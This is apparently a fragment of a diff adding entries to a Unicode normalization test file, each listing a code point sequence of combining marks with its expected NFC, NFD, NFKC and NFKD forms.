+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F80, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F80, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F80, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F80, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F82, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F82, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F82, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F82, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F82, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F83, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F83, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F83, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F83, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F83, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0F84, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0F84, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0F84, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0F84, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F86, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F86, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F86, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F86, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F86, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0F87, 0x0062], NFC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0F87, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0F87, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0F87, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0F87, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0FC6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0FC6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0FC6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0FC6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1037, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1037, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1037, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1037, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1039, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1039, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1039, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1039, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x103A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x103A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x103A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x103A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x108D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x108D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x108D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x108D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135D, 0x0062], NFC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135E, 0x0062], NFC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x135F, 0x0062], NFC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x135F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x135F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x135F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x135F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1714, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1714, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1714, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1714, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1734, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1734, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1734, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1734, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x17D2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x17D2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x17D2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x17D2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x17DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x17DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x18A9, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062] },
+{ source: [0x0061, 0x18A9, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x1939, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1939, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x193A, 0x0062], NFC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x193A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x193B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x193B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x193B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x193B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A17, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A17, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1A18, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1A18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A18, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1A18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1A60, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1A60, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A75, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A75, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A76, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A76, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A77, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A77, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A78, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A78, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A79, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A79, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1A7F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1A7F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A7F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1A7F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062] },
